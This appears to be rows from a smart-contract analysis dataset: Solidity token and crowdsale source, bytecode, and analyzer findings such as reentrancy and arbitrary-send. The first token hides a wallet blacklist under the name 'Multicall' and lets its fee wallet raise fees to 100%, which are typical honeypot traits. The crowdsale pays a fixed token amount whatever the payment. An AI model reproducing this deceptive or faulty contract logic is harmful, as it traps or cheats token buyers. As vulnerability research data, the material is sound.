_maxBuyAmount = 15000 * 10**9; // 1.5%
_maxHeldTokens = 30000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 100);
require(sell <= 100);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105aa578063db92dbb6146105bf578063dcb0e0ad146105d4578063dd62ed3e146105f4578063e8078d941461063a57600080fd5b806395d89b411461052e578063a9059cbb1461055f578063b2131f7d1461057f578063c3c8cd801461059557600080fd5b8063715018a6116100dc578063715018a6146104bb5780637a49cddb146104d05780638da5cb5b146104f057806394b8d8f21461050e57600080fd5b80635090161714610450578063590f897e146104705780636fc3eaec1461048657806370a082311461049b57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a957806340b9a54b146103e257806345596e2e146103f857806349bd5a5e1461041857600080fd5b806327f3a72a14610337578063313ce5671461034c57806331c2d8471461037357806332d873d81461039357600080fd5b80630b78f9c0116101c15780630b78f9c0146102c757806318160ddd146102e75780631940d0201461030157806323b872dd1461031757600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610275578063095ea7b31461029757600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061026860405180604001604052806015815260200174426c75654269726449735468654e6577426c61636b60581b81525081565b60405161021e9190611bcc565b34801561028157600080fd5b50610295610290366004611c46565b61064f565b005b3480156102a357600080fd5b506102b76102b2366004611c63565b6106c4565b604051901515815260200161021e565b3480156102d357600080fd5b506102956102e2366004611c8f565b6106da565b3480156102f357600080fd5b5066038d7ea4c68000610214565b34801561030d57600080fd5b50610214600f5481565b34801561032357600080fd5b506102b7610332366004611cb1565b61075d565b34801561034357600080fd5b50610214610845565b34801561035857600080fd5b50610361600981565b60405160ff909116815260200161021e565b34801561037f57600080fd5b5061029561038e366004611d08565b610855565b34801561039f57600080fd5b5061021460105481565b3480156103b557600080fd5b506102b76103c4366004611c46565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103ee57600080fd5b50610214600b5481565b34801561040457600080fd5b50610295610413366004611dcd565b6108e1565b34801561042457600080fd5b50600a54610438906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045c57600080fd5b5061029561046b366004611c46565b6109a5565b34801561047c57600080fd5b50610214600c5481565b34801561049257600080fd5b50610295610a13565b3480156104a757600080fd5b506102146104b6366004611c46565b610a40565b3480156104c757600080fd5b50610295610a5b565b3480156104dc57600080fd5b506102956104eb366004611d08565b610acf565b3480156104fc57600080fd5b506000546001600160a01b0316610438565b34801561051a57600080fd5b506011546102b79062010000900460ff1681565b34801561053a57600080fd5b5061026860405180604001604052806005815260200164109092549160da1b81525081565b34801561056b57600080fd5b506102b761057a366004611c63565b610bde565b34801561058b57600080fd5b50610214600d5481565b3480156105a157600080fd5b50610295610beb565b3480156105b657600080fd5b50610295610c21565b3480156105cb57600080fd5b50610214610cbf565b3480156105e057600080fd5b506102956105ef366004611df4565b610cd7565b34801561060057600080fd5b5061021461060f366004611e11565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064657600080fd5b50610295610d54565b6008546001600160a01b0316336001600160a01b03161461066f57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106d1338484611099565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106fa57600080fd5b606482111561070857600080fd5b606481111561071657600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078b57506001600160a01b03831660009081526004602052604090205460ff16155b80156107a45750600a546001600160a01b038581169116145b156107f3576001600160a01b03831632146107f35760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107fe8484846111bd565b6001600160a01b038416600090815260036020908152604080832033845290915281205461082d908490611e60565b905061083a853383611099565b506001949350505050565b600061085030610a40565b905090565b6008546001600160a01b0316336001600160a01b03161461087557600080fd5b60005b81518110156108dd5760006006600084848151811061089957610899611e77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d581611e8d565b915050610878565b5050565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016107ea90611ea6565b6008546001600160a01b0316336001600160a01b03161461092b57600080fd5b600081116109705760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107ea565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b9565b6009546001600160a01b0316336001600160a01b0316146109c557600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b9565b6008546001600160a01b0316336001600160a01b031614610a3357600080fd5b47610a3d8161182b565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a855760405162461bcd60e51b81526004016107ea90611ea6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610aef57600080fd5b60005b81518110156108dd57600a5482516001600160a01b0390911690839083908110610b1e57610b1e611e77565b60200260200101516001600160a01b031614158015610b6f575060075482516001600160a01b0390911690839083908110610b5b57610b5b611e77565b60200260200101516001600160a01b031614155b15610bcc57600160066000848481518110610b8c57610b8c611e77565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bd681611e8d565b915050610af2565b60006106d13384846111bd565b6008546001600160a01b0316336001600160a01b031614610c0b57600080fd5b6000610c1630610a40565b9050610a3d816118b0565b6000546001600160a01b03163314610c4b5760405162461bcd60e51b81526004016107ea90611ea6565b60115460ff1615610c985760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ea565b6011805460ff1916600117905542601055650da475abf000600e55651b48eb57e000600f55565b600a54600090610850906001600160a01b0316610a40565b6000546001600160a01b03163314610d015760405162461bcd60e51b81526004016107ea90611ea6565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b9565b6000546001600160a01b03163314610d7e5760405162461bcd60e51b81526004016107ea90611ea6565b60115460ff1615610dcb5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107ea565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e06308266038d7ea4c68000611099565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e689190611edb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed99190611edb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a9190611edb565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7a81610a40565b600080610f8f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101c9190611ef8565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611f26565b6001600160a01b0383166110fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ea565b6001600160a01b03821661115c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ea565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ea565b6001600160a01b0382166112835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ea565b600081116112e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ea565b6001600160a01b03831660009081526006602052604090205460ff161561135a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107ea565b600080546001600160a01b0385811691161480159061138757506000546001600160a01b03848116911614155b156117cc57600a546001600160a01b0385811691161480156113b757506007546001600160a01b03848116911614155b80156113dc57506001600160a01b03831660009081526004602052604090205460ff16155b156116685760115460ff166114335760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107ea565b60105442036114725760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107ea565b42601054610e106114839190611f43565b11156114fd57600f5461149584610a40565b61149f9084611f43565b11156114fd5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107ea565b6001600160a01b03831660009081526005602052604090206001015460ff16611565576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115759190611f43565b111561164957600e548211156115cd5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107ea565b6115d842600f611f43565b6001600160a01b038416600090815260056020526040902054106116495760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107ea565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611682575060115460ff165b801561169c5750600a546001600160a01b03858116911614155b156117cc576116ac42600f611f43565b6001600160a01b0385166000908152600560205260409020541061171e5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107ea565b600061172930610a40565b905080156117b55760115462010000900460ff16156117ac57600d54600a546064919061175e906001600160a01b0316610a40565b6117689190611f5b565b6117729190611f7a565b8111156117ac57600d54600a5460649190611795906001600160a01b0316610a40565b61179f9190611f5b565b6117a99190611f7a565b90505b6117b5816118b0565b4780156117c5576117c54761182b565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180e57506001600160a01b03841660009081526004602052604090205460ff165b15611817575060005b6118248585858486611a24565b5050505050565b6008546001600160a01b03166108fc611845600284611f7a565b6040518115909202916000818181858888f1935050505015801561186d573d6000803e3d6000fd5b506009546001600160a01b03166108fc611888600284611f7a565b6040518115909202916000818181858888f193505050501580156108dd573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f4576118f4611e77565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561194d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119719190611edb565b8160018151811061198457611984611e77565b6001600160a01b0392831660209182029290920101526007546119aa9130911684611099565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e3908590600090869030904290600401611f9c565b600060405180830381600087803b1580156119fd57600080fd5b505af1158015611a11573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a308383611a46565b9050611a3e86868684611a8d565b505050505050565b6000808315611a86578215611a5e5750600b54611a86565b50600c54601054611a7190610384611f43565b421015611a8657611a83600582611f43565b90505b9392505050565b600080611a9a8484611b6a565b6001600160a01b0388166000908152600260205260409020549193509150611ac3908590611e60565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af3908390611f43565b6001600160a01b038616600090815260026020526040902055611b1581611b9e565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5a91815260200190565b60405180910390a3505050505050565b600080806064611b7a8587611f5b565b611b849190611f7a565b90506000611b928287611e60565b96919550909350505050565b30600090815260026020526040902054611bb9908290611f43565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf957858101830151858201604001528201611bdd565b81811115611c0b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3d57600080fd5b8035611c4181611c21565b919050565b600060208284031215611c5857600080fd5b8135611a8681611c21565b60008060408385031215611c7657600080fd5b8235611c8181611c21565b946020939093013593505050565b60008060408385031215611ca257600080fd5b50508035926020909101359150565b600080600060608486031215611cc657600080fd5b8335611cd181611c21565b92506020840135611ce181611c21565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1b57600080fd5b823567ffffffffffffffff80821115611d3357600080fd5b818501915085601f830112611d4757600080fd5b813581811115611d5957611d59611cf2565b8060051b604051601f19603f83011681018181108582111715611d7e57611d7e611cf2565b604052918252848201925083810185019188831115611d9c57600080fd5b938501935b82851015611dc157611db285611c36565b84529385019392850192611da1565b98975050505050505050565b600060208284031215611ddf57600080fd5b5035919050565b8015158114610a3d57600080fd5b600060208284031215611e0657600080fd5b8135611a8681611de6565b60008060408385031215611e2457600080fd5b8235611e2f81611c21565b91506020830135611e3f81611c21565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7257611e72611e4a565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9f57611e9f611e4a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eed57600080fd5b8151611a8681611c21565b600080600060608486031215611f0d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3857600080fd5b8151611a8681611de6565b60008219821115611f5657611f56611e4a565b500190565b6000816000190483118215151615611f7557611f75611e4a565b500290565b600082611f9757634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fec5784516001600160a01b031683529383019391830191600101611fc7565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c289a7351104c91e51101fd19983b93714eb2a21372c36e525f44324ab82fd4364736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,176 |
0xfe5d837c17ba75fbc893d33eb032f1477d6cfd09 | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title EtherGoToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract EtherGoToken is StandardToken, Ownable {
string public name = "ETHERGO";
uint8 public decimals = 2;
string public symbol = "XGO";
uint256 public constant INITIAL_SUPPLY = 0.0000000095 ether;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled = false;
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function EtherGoToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyOwner {
transfersEnabled = _transfersEnabled;
}
function transferFromContract(address _to, uint256 _value) onlyOwner returns (bool success) {
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(transfersEnabled);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(transfersEnabled);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) returns (bool) {
require(transfersEnabled);
return super.approve(_spender, _value);
}
}
/**
* @title
* @dev DatCrowdSale is a contract for managing a token crowdsale.
* DatCrowdSale have a start and end date, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a refundable valut
* as they arrive.
*/
contract DatCrowdPreSale is Ownable {
using SafeMath for uint256;
// The token being sold
EtherGoToken public token;
// start and end date where investments are allowed (both inclusive)
uint256 public startDate = 1523469083;
uint256 public endDate = 1555005081;
// Minimum amount to participate
uint256 public minimumParticipationAmount = 300000000000000 wei; //0.0003 ether
// Maximum amount to participate
uint256 public maximalParticipationAmount = 5000000000000000000 wei; //0.05 ether
// address where funds are collected
address wallet;
// how many token units a buyer gets per ether
uint256 rate = 150000;
// amount of raised money in wei
uint256 public weiRaised;
//flag for final of crowdsale
bool public isFinalized = false;
//cap for the sale
uint256 public cap = 5000000000000000000000 wei; //500 ether
event Finalized();
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @notice Log an event for each funding contributed during the public phase
* @notice Events are not logged when the constructor is being executed during
* deployment, so the preallocations will not be logged
*/
event LogParticipation(address indexed sender, uint256 value, uint256 timestamp);
function DatCrowdPreSale(address _wallet) {
token = createTokenContract();
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific datum token.
function createTokenContract() internal returns (EtherGoToken) {
return new EtherGoToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
//get ammount in wei
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(425);
//purchase tokens and transfer to beneficiary
token.transferFromContract(beneficiary, 45500);
// update state
weiRaised = weiRaised.add(weiAmount);
//Token purchase event
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
//forward funds to wallet
forwardFunds();
}
//send tokens to the given address used for investors with other conditions, only contract owner can call this
function transferTokensManual(address beneficiary, uint256 amount) onlyOwner {
require(beneficiary != 0x0);
require(amount != 0);
require(weiRaised.add(amount) <= cap);
//transfer tokens
token.transferFromContract(beneficiary, amount);
// update state
weiRaised = weiRaised.add(amount);
//Token purchase event
TokenPurchase(wallet, beneficiary, 0, amount);
}
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyOwner {
token.enableTransfers(_transfersEnabled);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// should be called after crowdsale ends or to emergency stop the sale
function finalize() onlyOwner {
require(!isFinalized);
Finalized();
isFinalized = true;
}
// @return true if the transaction can buy tokens
// check for valid time period, min amount and within cap
function validPurchase() internal constant returns (bool) {
bool withinPeriod = startDate <= now && endDate >= now;
bool nonZeroPurchase = msg.value != 0;
bool minAmount = msg.value >= minimumParticipationAmount;
bool withinCap = weiRaised.add(msg.value) <= cap;
return withinPeriod && nonZeroPurchase && minAmount && !isFinalized && withinCap;
}
// @return true if the goal is reached
function capReached() public constant returns (bool) {
return weiRaised >= cap;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return isFinalized;
}
} | 0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c85780631a88f306146101f157806323b872dd1461024b5780632ff2e9dc146102c4578063313ce567146102ed57806370a082311461031c5780638da5cb5b1461036957806395d89b41146103be578063a9059cbb1461044c578063bef97c87146104a6578063dd62ed3e146104d3578063f2fde38b1461053f578063f41e60c514610578575b600080fd5b34156100eb57600080fd5b6100f361059d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061063b565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db61066a565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610231600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610670565b604051808215151515815260200191505060405180910390f35b341561025657600080fd5b6102aa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106e0565b604051808215151515815260200191505060405180910390f35b34156102cf57600080fd5b6102d7610711565b6040518082815260200191505060405180910390f35b34156102f857600080fd5b61030061071a565b604051808260ff1660ff16815260200191505060405180910390f35b341561032757600080fd5b610353600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061072d565b6040518082815260200191505060405180910390f35b341561037457600080fd5b61037c610776565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103c957600080fd5b6103d161079c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104115780820151818401526020810190506103f6565b50505050905090810190601f16801561043e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045757600080fd5b61048c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061083a565b604051808215151515815260200191505060405180910390f35b34156104b157600080fd5b6104b9610869565b604051808215151515815260200191505060405180910390f35b34156104de57600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061087c565b6040518082815260200191505060405180910390f35b341561054a57600080fd5b610576600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610903565b005b341561058357600080fd5b61059b600480803515159060200190919050506109df565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106335780601f1061060857610100808354040283529160200191610633565b820191906000526020600020905b81548152906001019060200180831161061657829003601f168201915b505050505081565b6000600760009054906101000a900460ff16151561065857600080fd5b6106628383610a58565b905092915050565b60005481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106ce57600080fd5b6106d88383610bdf565b905092915050565b6000600760009054906101000a900460ff1615156106fd57600080fd5b610708848484610d7a565b90509392505050565b6402363e7f0081565b600560009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108325780601f1061080757610100808354040283529160200191610832565b820191906000526020600020905b81548152906001019060200180831161081557829003601f168201915b505050505081565b6000600760009054906101000a900460ff16151561085757600080fd5b6108618383610bdf565b905092915050565b600760009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffff